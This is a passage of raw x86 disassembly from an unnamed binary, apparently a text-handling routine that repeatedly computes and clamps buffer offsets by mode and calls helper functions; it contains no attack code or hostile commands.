mov eax, dword [ebp - 0x54]
sub eax, 1
mov dword [ebp - 0x54], eax
jmp 0x42d12e
cmp dword [ebp - 0x3c], 0
jle 0x42d127
mov dword [ebp - 0xc4], 0
mov ecx, dword [ebp - 0x20]
push ecx
mov edx, dword [ebp - 0x68]
push edx
mov eax, dword [ebp - 0x84]
push eax
push 2
call fcn.0042fb20
add esp, 0x10
push 0
lea ecx, [ebp - 0xc4]
push ecx
call fcn.00402356
add esp, 8
mov edx, dword [ebp - 0x3c]
sub edx, 1
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0xc4]
cmp eax, dword [ebp - 0x14]
jg 0x42d11b
mov dword [ebp - 0xc8], 0
mov dword [ebp - 0xd0], 0
mov dword [ebp - 0xcc], 0xffffff22
mov dword [ebp - 0xd4], 0xffffffff
cmp dword [ebp - 0xd4], 0xffffffff
je 0x42cea7
cmp dword [ebp - 0xd4], 4
jne 0x42cebe
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0xc8], ecx
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0xcc], edx
jmp 0x42d03f
cmp dword [ebp - 0xd4], 0
jne 0x42cf63
mov eax, dword [ebp - 0x3c]
cmp eax, dword [ebp - 0x5c]
jne 0x42cee1
mov ecx, dword [ebp - 0x3c]
sub ecx, dword [ebp - 0x80]
mov dword [ebp - 0xc8], ecx
jmp 0x42cf5e
push 0
lea edx, [ebp - 0xcc]
push edx
call fcn.00402356
add esp, 8
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0x80]
sub ecx, dword [ebp - 0xcc]
mov eax, dword [ebp - 0x80]
cdq
sub eax, edx
sar eax, 1
cmp ecx, eax
jl 0x42cf32
mov edx, dword [ebp - 0xcc]
sub edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x3c]
sub eax, edx
sub eax, 1
mov dword [ebp - 0xc8], eax
mov ecx, dword [ebp - 0xcc]
add ecx, 1
mov dword [ebp - 0xcc], ecx
jmp 0x42cf5e
mov edx, dword [ebp - 0xcc]
sub edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x3c]
sub eax, edx
mov dword [ebp - 0xc8], eax
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0x80]
cmp dword [ebp - 0xcc], ecx
jne 0x42cf5e
mov dword [ebp - 0xcc], 0xffffff22
jmp 0x42d03f
cmp dword [ebp - 0xd4], 2
jne 0x42cff3
push 0
lea edx, [ebp - 0xcc]
push edx
call fcn.00402356
add esp, 8
mov eax, dword [ebp - 0xcc]
sub eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x3c]
sub ecx, eax
add ecx, 1
mov dword [ebp - 0xc8], ecx
mov eax, dword [ebp - 0x80]
cdq
sub eax, edx
sar eax, 1
add eax, dword [ebp - 0x14]
cmp dword [ebp - 0xcc], eax
jg 0x42cfb4
cmp dword [ebp - 0xc8], 0
jg 0x42cfc5
mov edx, dword [ebp - 0xcc]
sub edx, 1
mov dword [ebp - 0xcc], edx
jmp 0x42cfd9
mov eax, dword [ebp - 0xcc]
sub eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x3c]
sub ecx, eax
mov dword [ebp - 0xc8], ecx
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x80]
cmp dword [ebp - 0xcc], edx
jne 0x42cff1
mov dword [ebp - 0xcc], 0xffffff22
jmp 0x42d03f
cmp dword [ebp - 0xd4], 3
jne 0x42d033
push 0
lea eax, [ebp - 0xcc]
push eax
call fcn.00402356
add esp, 8
mov ecx, dword [ebp - 0x3c]
sub ecx, dword [ebp - 0x80]
mov dword [ebp - 0xc8], ecx
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x80]
cmp dword [ebp - 0xcc], edx
jne 0x42d031
mov dword [ebp - 0xcc], 0xffffff22
jmp 0x42d03f
mov eax, dword [ebp - 0x3c]
sub eax, dword [ebp - 0x80]
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 0
jge 0x42d052
mov dword [ebp - 0xc8], 0
mov ecx, dword [ebp - 0xc8]
add ecx, dword [ebp - 0x80]
mov dword [ebp - 0xd0], ecx
mov edx, dword [ebp - 0xd0]
cmp edx, dword [ebp - 0x5c]
jle 0x42d075
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0xd0], eax
mov ecx, dword [ebp - 0x88]
push ecx
mov edx, dword [ebp - 0x14]
push edx
call fcn.00401096
add esp, 8
cmp dword [ebp - 0xd4], 4
jne 0x42d0b2
mov eax, dword [ebp - 0xd0]
sub eax, dword [ebp - 0xc8]
push eax
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0xc8]
push ecx
call fcn.00401cdf
add esp, 8
jmp 0x42d0f7
cmp dword [ebp - 0xd4], 2
jne 0x42d0c7
movsx edx, byte [ebp - 0x49]
mov dword [ebp - 0x1a4], edx
jmp 0x42d0d1
mov dword [ebp - 0x1a4], 0
mov al, byte [ebp - 0x1a4]
push eax
mov ecx, dword [ebp - 0xd0]
sub ecx, dword [ebp - 0xc8]
push ecx
mov edx, dword [ebp + 8]
add edx, dword [ebp - 0xc8]
push edx
call fcn.004021a3
add esp, 0xc
cmp dword [ebp - 0xcc], 0xffffff22
je 0x42d119
mov eax, dword [ebp - 0x88]
push eax
mov ecx, dword [ebp - 0xcc]
push ecx
call fcn.00401096
add esp, 8
jmp 0x42d127
push 0
push 0
call fcn.00402202
add esp, 8
mov dword [ebp - 0x7c], 0
jmp 0x42e425
cmp dword [ebp - 0x5c], 0
jne 0x42d157
mov edx, dword [ebp + 0xc]
push edx
call fcn.0040228e
add esp, 4
test eax, eax
je 0x42d157
mov eax, dword [ebp - 0x54]
add eax, 1
mov dword [ebp - 0x54], eax
jmp 0x42d77b
mov ecx, dword [ebp - 0x3c]
cmp ecx, dword [ebp - 0x5c]
jge 0x42d46e
mov dword [ebp - 0xd8], 0
mov edx, dword [ebp - 0x20]
push edx
mov eax, dword [ebp - 0x68]
push eax
mov ecx, dword [ebp - 0x84]
push ecx
push 2
call fcn.0042fb20
add esp, 0x10
push 0
lea edx, [ebp - 0xd8]
push edx
call fcn.00402356
add esp, 8
mov eax, dword [ebp - 0x3c]
add eax, 1
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0x80]
mov edx, dword [ebp - 0x14]
lea eax, [edx + ecx - 1]
cmp dword [ebp - 0xd8], eax
jl 0x42d464
mov dword [ebp - 0xdc], 0
mov dword [ebp - 0xe4], 0
mov dword [ebp - 0xe0], 0xffffff22
mov dword [ebp - 0xe8], 1
cmp dword [ebp - 0xe8], 0xffffffff
je 0x42d1f0
cmp dword [ebp - 0xe8], 4
jne 0x42d207
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0xdc], ecx
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0xe0], edx
jmp 0x42d388
cmp dword [ebp - 0xe8], 0
jne 0x42d2ac
mov eax, dword [ebp - 0x3c]
cmp eax, dword [ebp - 0x5c]
jne 0x42d22a
mov ecx, dword [ebp - 0x3c]
sub ecx, dword [ebp - 0x80]
mov dword [ebp - 0xdc], ecx
jmp 0x42d2a7
push 0
lea edx, [ebp - 0xe0]
push edx
call fcn.00402356
add esp, 8
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0x80]
sub ecx, dword [ebp - 0xe0]
mov eax, dword [ebp - 0x80]
cdq
sub eax, edx
sar eax, 1
cmp ecx, eax
jl 0x42d27b
mov edx, dword [ebp - 0xe0]
sub edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x3c]
sub eax, edx
sub eax, 1
mov dword [ebp - 0xdc], eax
mov ecx, dword [ebp - 0xe0]
add ecx, 1
mov dword [ebp - 0xe0], ecx
jmp 0x42d2a7
mov edx, dword [ebp - 0xe0]
sub edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x3c]
sub eax, edx
mov dword [ebp - 0xdc], eax
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0x80]
cmp dword [ebp - 0xe0], ecx
jne 0x42d2a7
mov dword [ebp - 0xe0], 0xffffff22
jmp 0x42d388
cmp dword [ebp - 0xe8], 2
jne 0x42d33c
push 0
lea edx, [ebp - 0xe0]
push edx
call fcn.00402356
add esp, 8
mov eax, dword [ebp - 0xe0]
sub eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x3c]
sub ecx, eax
add ecx, 1
mov dword [ebp - 0xdc], ecx
mov eax, dword [ebp - 0x80]
cdq
sub eax, edx
sar eax, 1
add eax, dword [ebp - 0x14]
cmp dword [ebp - 0xe0], eax
jg 0x42d2fd
cmp dword [ebp - 0xdc], 0
jg 0x42d30e
mov edx, dword [ebp - 0xe0]
sub edx, 1
mov dword [ebp - 0xe0], edx
jmp 0x42d322
mov eax, dword [ebp - 0xe0]
sub eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x3c]
sub ecx, eax
mov dword [ebp - 0xdc], ecx
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x80]
cmp dword [ebp - 0xe0], edx
jne 0x42d33a
mov dword [ebp - 0xe0], 0xffffff22
jmp 0x42d388
cmp dword [ebp - 0xe8], 3
jne 0x42d37c
push 0
lea eax, [ebp - 0xe0]
push eax
call fcn.00402356
add esp, 8
mov ecx, dword [ebp - 0x3c]
sub ecx, dword [ebp - 0x80]
mov dword [ebp - 0xdc], ecx
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x80]
cmp dword [ebp - 0xe0], edx
jne 0x42d37a
mov dword [ebp - 0xe0], 0xffffff22
jmp 0x42d388
mov eax, dword [ebp - 0x3c]
sub eax, dword [ebp - 0x80]
mov dword [ebp - 0xdc], eax
cmp dword [ebp - 0xdc], 0
jge 0x42d39b
mov dword [ebp - 0xdc], 0
mov ecx, dword [ebp - 0xdc]
add ecx, dword [ebp - 0x80]
mov dword [ebp - 0xe4], ecx
mov edx, dword [ebp - 0xe4]
cmp edx, dword [ebp - 0x5c]
jle 0x42d3be
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0xe4], eax
mov ecx, dword [ebp - 0x88]
push ecx
mov edx, dword [ebp - 0x14]
push edx
call fcn.00401096
add esp, 8
cmp dword [ebp - 0xe8], 4
jne 0x42d3fb
mov eax, dword [ebp - 0xe4]
sub eax, dword [ebp - 0xdc]
push eax
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0xdc]
push ecx
call fcn.00401cdf
add esp, 8
jmp 0x42d440
cmp dword [ebp - 0xe8], 2
jne 0x42d410
movsx edx, byte [ebp - 0x49]
mov dword [ebp - 0x1a8], edx
jmp 0x42d41a
mov dword [ebp - 0x1a8], 0
mov al, byte [ebp - 0x1a8]
push eax
mov ecx, dword [ebp - 0xe4]
sub ecx, dword [ebp - 0xdc]
push ecx
mov edx, dword [ebp + 8]
add edx, dword [ebp - 0xdc]
push edx
call fcn.004021a3
add esp, 0xc
cmp dword [ebp - 0xe0], 0xffffff22
je 0x42d462
mov eax, dword [ebp - 0x88]
push eax
mov ecx, dword [ebp - 0xe0]
push ecx
call fcn.00401096
add esp, 8
jmp 0x42d469
call fcn.00402f4a
jmp 0x42d774
cmp dword [ebp - 0x5c], 0
jg 0x42d774
mov edx, dword [ebp + 0xc]
push edx
call fcn.00401cad
add esp, 4
test eax, eax
jne 0x42d774
mov eax, dword [ebp + 0xc]
push eax
call fcn.00401659
add esp, 4
cmp dword [ebp - 0x10], eax
jl 0x42d774
mov ecx, dword [ebp + 8]
push ecx
push 0xffffffffffffffff
mov edx, dword [ebp + 0xc]
push edx
call fcn.0040258b
add esp, 0xc
mov eax, dword [ebp + 8]
push eax
call fcn.005b4690
add esp, 4
mov dword [ebp - 0x5c], eax
mov ecx, dword [ebp - 0x5c]
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0xec], 0
mov dword [ebp - 0xf4], 0
mov dword [ebp - 0xf0], 0xffffff22
mov dword [ebp - 0xf8], 1
cmp dword [ebp - 0xf8], 0xffffffff
je 0x42d502
cmp dword [ebp - 0xf8], 4
jne 0x42d519
mov edx, dword [ebp - 0x3c]
mov dword [ebp - 0xec], edx
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xf0], eax
jmp 0x42d69a
cmp dword [ebp - 0xf8], 0
jne 0x42d5be
mov ecx, dword [ebp - 0x3c]
cmp ecx, dword [ebp - 0x5c]
jne 0x42d53c
mov edx, dword [ebp - 0x3c]
sub edx, dword [ebp - 0x80]
mov dword [ebp - 0xec], edx
jmp 0x42d5b9
push 0
lea eax, [ebp - 0xf0]
push eax
call fcn.00402356
add esp, 8
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0x80]
sub ecx, dword [ebp - 0xf0]
mov eax, dword [ebp - 0x80]
cdq
sub eax, edx
sar eax, 1
cmp ecx, eax
jl 0x42d58d
mov edx, dword [ebp - 0xf0]
sub edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x3c]
sub eax, edx
sub eax, 1
mov dword [ebp - 0xec], eax
mov ecx, dword [ebp - 0xf0]
add ecx, 1
mov dword [ebp - 0xf0], ecx
jmp 0x42d5b9
mov edx, dword [ebp - 0xf0]
sub edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x3c]
sub eax, edx
mov dword [ebp - 0xec], eax
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0x80]
cmp dword [ebp - 0xf0], ecx
jne 0x42d5b9
mov dword [ebp - 0xf0], 0xffffff22
jmp 0x42d69a
cmp dword [ebp - 0xf8], 2
jne 0x42d64e
push 0
lea edx, [ebp - 0xf0]
push edx
call fcn.00402356
add esp, 8
mov eax, dword [ebp - 0xf0]
sub eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x3c]
sub ecx, eax
add ecx, 1
mov dword [ebp - 0xec], ecx
mov eax, dword [ebp - 0x80]
cdq
sub eax, edx
sar eax, 1
add eax, dword [ebp - 0x14]
cmp dword [ebp - 0xf0], eax
jg 0x42d60f
cmp dword [ebp - 0xec], 0
jg 0x42d620
mov edx, dword [ebp - 0xf0]
sub edx, 1
mov dword [ebp - 0xf0], edx
jmp 0x42d634
mov eax, dword [ebp - 0xf0]
sub eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x3c]
sub ecx, eax
mov dword [ebp - 0xec], ecx
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x80]
cmp dword [ebp - 0xf0], edx
jne 0x42d64c
mov dword [ebp - 0xf0], 0xffffff22
jmp 0x42d69a
cmp dword [ebp - 0xf8], 3
jne 0x42d68e
push 0
lea eax, [ebp - 0xf0]
push eax
call fcn.00402356
add esp, 8
mov ecx, dword [ebp - 0x3c]
sub ecx, dword [ebp - 0x80]
mov dword [ebp - 0xec], ecx
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x80]
cmp dword [ebp - 0xf0], edx
jne 0x42d68c
mov dword [ebp - 0xf0], 0xffffff22
jmp 0x42d69a
mov eax, dword [ebp - 0x3c]
sub eax, dword [ebp - 0x80]
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 0
jge 0x42d6ad
mov dword [ebp - 0xec], 0
mov ecx, dword [ebp - 0xec]
add ecx, dword [ebp - 0x80]
mov dword [ebp - 0xf4], ecx
mov edx, dword [ebp - 0xf4]
cmp edx, dword [ebp - 0x5c]
jle 0x42d6d0
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0xf4], eax
mov ecx, dword [ebp - 0x88]
push ecx
mov edx, dword [ebp - 0x14]
push edx
call fcn.00401096
add esp, 8
cmp dword [ebp - 0xf8], 4
jne 0x42d70d
mov eax, dword [ebp - 0xf4]
sub eax, dword [ebp - 0xec]
push eax
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0xec]
push ecx
call fcn.00401cdf
add esp, 8
jmp 0x42d752
cmp dword [ebp - 0xf8], 2
jne 0x42d722
movsx edx, byte [ebp - 0x49]
mov dword [ebp - 0x1ac], edx
jmp 0x42d72c
mov dword [ebp - 0x1ac], 0
mov al, byte [ebp - 0x1ac]
push eax
mov ecx, dword [ebp - 0xf4]
sub ecx, dword [ebp - 0xec]
push ecx
mov edx, dword [ebp + 8]
add edx, dword [ebp - 0xec]
push edx
call fcn.004021a3
add esp, 0xc
cmp dword [ebp - 0xf0], 0xffffff22
je 0x42d774
mov eax, dword [ebp - 0x88]
push eax
mov ecx, dword [ebp - 0xf0]
push ecx
call fcn.00401096
add esp, 8
mov dword [ebp - 0x7c], 0
jmp 0x42e425
lea edx, [ebp - 0x6c]
push edx
push 0
mov eax, dword [ebp + 0xc]
push eax
call fcn.00402c75
add esp, 0xc
mov ecx, dword [ebp - 0x78]
sub ecx, dword [ebp - 0x6c]
mov dword [ebp - 0x78], ecx
jmp 0x42e425
push 0
lea edx, [ebp - 0x6c]
push edx
mov eax, dword [ebp + 0xc]
push eax
call fcn.00402c75
add esp, 0xc
mov ecx, dword [ebp - 0x78]
add ecx, dword [ebp - 0x6c]
mov dword [ebp - 0x78], ecx
jmp 0x42e425
mov edx, dword [ebp - 0x20]
push edx
mov eax, dword [ebp - 0x68]
push eax
mov ecx, dword [ebp - 0x84]
push ecx
push 2
call fcn.0042fb20
add esp, 0x10
cmp dword [ebp - 0x5c], 0
jg 0x42dae5
mov edx, dword [ebp + 0xc]
push edx
call fcn.00401cad
add esp, 4
test eax, eax
jne 0x42dae0
mov eax, dword [ebp + 0xc]
push eax
call fcn.00401659
add esp, 4
cmp dword [ebp - 0x10], eax
jl 0x42dae0
mov ecx, dword [ebp + 8]
push ecx
push 0xffffffffffffffff
mov edx, dword [ebp + 0xc]
push edx
call fcn.0040258b
add esp, 0xc
mov eax, dword [ebp + 8]
push eax
call fcn.005b4690
add esp, 4
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0xfc], 0
mov dword [ebp - 0x104], 0
mov dword [ebp - 0x100], 0xffffff22
mov dword [ebp - 0x108], 0xffffffff
cmp dword [ebp - 0x108], 0xffffffff
je 0x42d86e
cmp dword [ebp - 0x108], 4
jne 0x42d885
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0xfc], ecx
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x100], edx
jmp 0x42da06
cmp dword [ebp - 0x108], 0
jne 0x42d92a
mov eax, dword [ebp - 0x3c]
cmp eax, dword [ebp - 0x5c]
jne 0x42d8a8
mov ecx, dword [ebp - 0x3c]
sub ecx, dword [ebp - 0x80]
mov dword [ebp - 0xfc], ecx
jmp 0x42d925
push 0
lea edx, [ebp - 0x100]
push edx
call fcn.00402356
add esp, 8
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0x80]
sub ecx, dword [ebp - 0x100]
mov eax, dword [ebp - 0x80]
cdq
sub eax, edx
sar eax, 1
cmp ecx, eax
jl 0x42d8f9
mov edx, dword [ebp - 0x100]
sub edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x3c]
sub eax, edx
sub eax, 1
mov dword [ebp - 0xfc], eax
mov ecx, dword [ebp - 0x100]
add ecx, 1
mov dword [ebp - 0x100], ecx
jmp 0x42d925
mov edx, dword [ebp - 0x100]
sub edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x3c]
sub eax, edx
mov dword [ebp - 0xfc], eax
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0x80]
cmp dword [ebp - 0x100], ecx
jne 0x42d925
mov dword [ebp - 0x100], 0xffffff22
jmp 0x42da06
cmp dword [ebp - 0x108], 2
jne 0x42d9ba
push 0
lea edx, [ebp - 0x100]
push edx
call fcn.00402356
add esp, 8
mov eax, dword [ebp - 0x100]
sub eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x3c]
sub ecx, eax
add ecx, 1
mov dword [ebp - 0xfc], ecx
mov eax, dword [ebp - 0x80]
cdq
sub eax, edx
sar eax, 1
add eax, dword [ebp - 0x14]
cmp dword [ebp - 0x100], eax
jg 0x42d97b
cmp dword [ebp - 0xfc], 0
jg 0x42d98c
mov edx, dword [ebp - 0x100]
sub edx, 1
mov dword [ebp - 0x100], edx
jmp 0x42d9a0
mov eax, dword [ebp - 0x100]
sub eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x3c]
sub ecx, eax
mov dword [ebp - 0xfc], ecx
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x80]
cmp dword [ebp - 0x100], edx
jne 0x42d9b8
mov dword [ebp - 0x100], 0xffffff22
jmp 0x42da06
cmp dword [ebp - 0x108], 3
jne 0x42d9fa
push 0
lea eax, [ebp - 0x100]
push eax
call fcn.00402356
add esp, 8
mov ecx, dword [ebp - 0x3c]
sub ecx, dword [ebp - 0x80]
mov dword [ebp - 0xfc], ecx
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x80]
cmp dword [ebp - 0x100], edx
jne 0x42d9f8
mov dword [ebp - 0x100], 0xffffff22
jmp 0x42da06
mov eax, dword [ebp - 0x3c]
sub eax, dword [ebp - 0x80]
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 0
jge 0x42da19
mov dword [ebp - 0xfc], 0
mov ecx, dword [ebp - 0xfc]
add ecx, dword [ebp - 0x80]
mov dword [ebp - 0x104], ecx
mov edx, dword [ebp - 0x104]
cmp edx, dword [ebp - 0x5c]
jle 0x42da3c
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x104], eax
mov ecx, dword [ebp - 0x88]
push ecx
mov edx, dword [ebp - 0x14]
push edx
call fcn.00401096
add esp, 8
cmp dword [ebp - 0x108], 4
jne 0x42da79
mov eax, dword [ebp - 0x104]
sub eax, dword [ebp - 0xfc]
push eax
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0xfc]
push ecx
call fcn.00401cdf
add esp, 8
jmp 0x42dabe
cmp dword [ebp - 0x108], 2
jne 0x42da8e
movsx edx, byte [ebp - 0x49]
mov dword [ebp - 0x1b0], edx
jmp 0x42da98
mov dword [ebp - 0x1b0], 0
mov al, byte [ebp - 0x1b0]
push eax
mov ecx, dword [ebp - 0x104]
sub ecx, dword [ebp - 0xfc]
push ecx
mov edx, dword [ebp + 8]
add edx, dword [ebp - 0xfc]
push edx
call fcn.004021a3
add esp, 0xc
cmp dword [ebp - 0x100], 0xffffff22
je 0x42dae0
mov eax, dword [ebp - 0x88]
push eax
mov ecx, dword [ebp - 0x100]
push ecx
call fcn.00401096
add esp, 8
jmp 0x42dd98
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x10c], 0
mov dword [ebp - 0x114], 0
mov dword [ebp - 0x110], 0xffffff22
mov dword [ebp - 0x118], 0xffffffff
cmp dword [ebp - 0x118], 0xffffffff
je 0x42db26
cmp dword [ebp - 0x118], 4
jne 0x42db3d
mov edx, dword [ebp - 0x3c]
mov dword [ebp - 0x10c], edx
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x110], eax
jmp 0x42dcbe
cmp dword [ebp - 0x118], 0
jne 0x42dbe2
mov ecx, dword [ebp - 0x3c]
cmp ecx, dword [ebp - 0x5c]
jne 0x42db60
mov edx, dword [ebp - 0x3c]
sub edx, dword [ebp - 0x80]
mov dword [ebp - 0x10c], edx
jmp 0x42dbdd
push 0
lea eax, [ebp - 0x110]
push eax
call fcn.00402356
add esp, 8
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0x80]
sub ecx, dword [ebp - 0x110]
mov eax, dword [ebp - 0x80]
cdq
sub eax, edx
sar eax, 1
cmp ecx, eax
jl 0x42dbb1
mov edx, dword [ebp - 0x110]
sub edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x3c]
sub eax, edx
sub eax, 1
mov dword [ebp - 0x10c], eax
mov ecx, dword [ebp - 0x110]
add ecx, 1
mov dword [ebp - 0x110], ecx
jmp 0x42dbdd
mov edx, dword [ebp - 0x110]
sub edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x3c]
sub eax, edx
mov dword [ebp - 0x10c], eax
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0x80]
cmp dword [ebp - 0x110], ecx
jne 0x42dbdd
mov dword [ebp - 0x110], 0xffffff22
jmp 0x42dcbe
cmp dword [ebp - 0x118], 2
jne 0x42dc72
push 0
lea edx, [ebp - 0x110]
push edx
call fcn.00402356
add esp, 8
mov eax, dword [ebp - 0x110]
sub eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x3c]
sub ecx, eax
add ecx, 1
mov dword [ebp - 0x10c], ecx
mov eax, dword [ebp - 0x80]
cdq
sub eax, edx
sar eax, 1
add eax, dword [ebp - 0x14]
cmp dword [ebp - 0x110], eax
jg 0x42dc33
cmp dword [ebp - 0x10c], 0
jg 0x42dc44
mov edx, dword [ebp - 0x110]
sub edx, 1
mov dword [ebp - 0x110], edx
jmp 0x42dc58
mov eax, dword [ebp - 0x110]
sub eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x3c]
sub ecx, eax
mov dword [ebp - 0x10c], ecx
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x80]
cmp dword [ebp - 0x110], edx
jne 0x42dc70
mov dword [ebp - 0x110], 0xffffff22
jmp 0x42dcbe
cmp dword [ebp - 0x118], 3
jne 0x42dcb2
push 0
lea eax, [ebp - 0x110]
push eax
call fcn.00402356
add esp, 8
mov ecx, dword [ebp - 0x3c]
sub ecx, dword [ebp - 0x80]
mov dword [ebp - 0x10c], ecx
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x80]
cmp dword [ebp - 0x110], edx
jne 0x42dcb0
mov dword [ebp - 0x110], 0xffffff22
jmp 0x42dcbe
mov eax, dword [ebp - 0x3c]
sub eax, dword [ebp - 0x80]
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0
jge 0x42dcd1
mov dword [ebp - 0x10c], 0
mov ecx, dword [ebp - 0x10c]
add ecx, dword [ebp - 0x80]
mov dword [ebp - 0x114], ecx
mov edx, dword [ebp - 0x114]
cmp edx, dword [ebp - 0x5c]
jle 0x42dcf4
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x114], eax
mov ecx, dword [ebp - 0x88]
push ecx
mov edx, dword [ebp - 0x14]
push edx
call fcn.00401096
add esp, 8
cmp dword [ebp - 0x118], 4
jne 0x42dd31
mov eax, dword [ebp - 0x114]
sub eax, dword [ebp - 0x10c]
push eax
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0x10c]
push ecx
call fcn.00401cdf
add esp, 8
jmp 0x42dd76
cmp dword [ebp - 0x118], 2
jne 0x42dd46
movsx edx, byte [ebp - 0x49]
mov dword [ebp - 0x1b4], edx
jmp 0x42dd50
mov dword [ebp - 0x1b4], 0
mov al, byte [ebp - 0x1b4]
push eax
mov ecx, dword [ebp - 0x114]
sub ecx, dword [ebp - 0x10c]
push ecx
mov edx, dword [ebp + 8]
add edx, dword [ebp - 0x10c]
push edx
call fcn.004021a3
add esp, 0xc
cmp dword [ebp - 0x110], 0xffffff22
je 0x42dd98
mov eax, dword [ebp - 0x88]
push eax
mov ecx, dword [ebp - 0x110]
push ecx
call fcn.00401096
add esp, 8
jmp 0x42e425
mov edx, dword [ebp - 0x20]
push edx
mov eax, dword [ebp - 0x68]
push eax
mov ecx, dword [ebp - 0x84]
push ecx
push 2
call fcn.0042fb20
add esp, 0x10
cmp dword [ebp - 0x5c], 0
jg 0x42e0c1
mov edx, dword [ebp + 0xc]
push edx
call fcn.00401cad
add esp, 4
test eax, eax
jne 0x42e0bc
mov eax, dword [ebp + 0xc]
push eax
call fcn.00401659
add esp, 4
cmp dword [ebp - 0x10], eax
jl 0x42e0bc
mov ecx, dword [ebp + 8]
push ecx
push 0xffffffffffffffff
mov edx, dword [ebp + 0xc]
push edx
call fcn.0040258b
add esp, 0xc
mov eax, dword [ebp + 8]
push eax
call fcn.005b4690
add esp, 4
mov dword [ebp - 0x5c], eax
mov ecx, dword [ebp - 0x5c]
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x124], 0
mov dword [ebp - 0x120], 0xffffff22
mov dword [ebp - 0x128], 1
cmp dword [ebp - 0x128], 0xffffffff
je 0x42de4a
cmp dword [ebp - 0x128], 4
jne 0x42de61
mov edx, dword [ebp - 0x3c]
mov dword [ebp - 0x11c], edx
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x120], eax
jmp 0x42dfe2
cmp dword [ebp - 0x128], 0
jne 0x42df06
mov ecx, dword [ebp - 0x3c]
cmp ecx, dword [ebp - 0x5c]
jne 0x42de84
mov edx, dword [ebp - 0x3c]
sub edx, dword [ebp - 0x80]
mov dword [ebp - 0x11c], edx
jmp 0x42df01
push 0
lea eax, [ebp - 0x120]
push eax
call fcn.00402356
add esp, 8
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0x80]
sub ecx, dword [ebp - 0x120]
mov eax, dword [ebp - 0x80]
cdq
sub eax, edx
sar eax, 1
cmp ecx, eax
jl 0x42ded5
mov edx, dword [ebp - 0x120]
sub edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x3c]
sub eax, edx
sub eax, 1
mov dword [ebp - 0x11c], eax
mov ecx, dword [ebp - 0x120]
add ecx, 1
mov dword [ebp - 0x120], ecx
jmp 0x42df01
mov edx, dword [ebp - 0x120]
sub edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x3c]
sub eax, edx
mov dword [ebp - 0x11c], eax
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0x80]
cmp dword [ebp - 0x120], ecx
jne 0x42df01
mov dword [ebp - 0x120], 0xffffff22
jmp 0x42dfe2
cmp dword [ebp - 0x128], 2
jne 0x42df96
push 0
lea edx, [ebp - 0x120]
push edx
call fcn.00402356
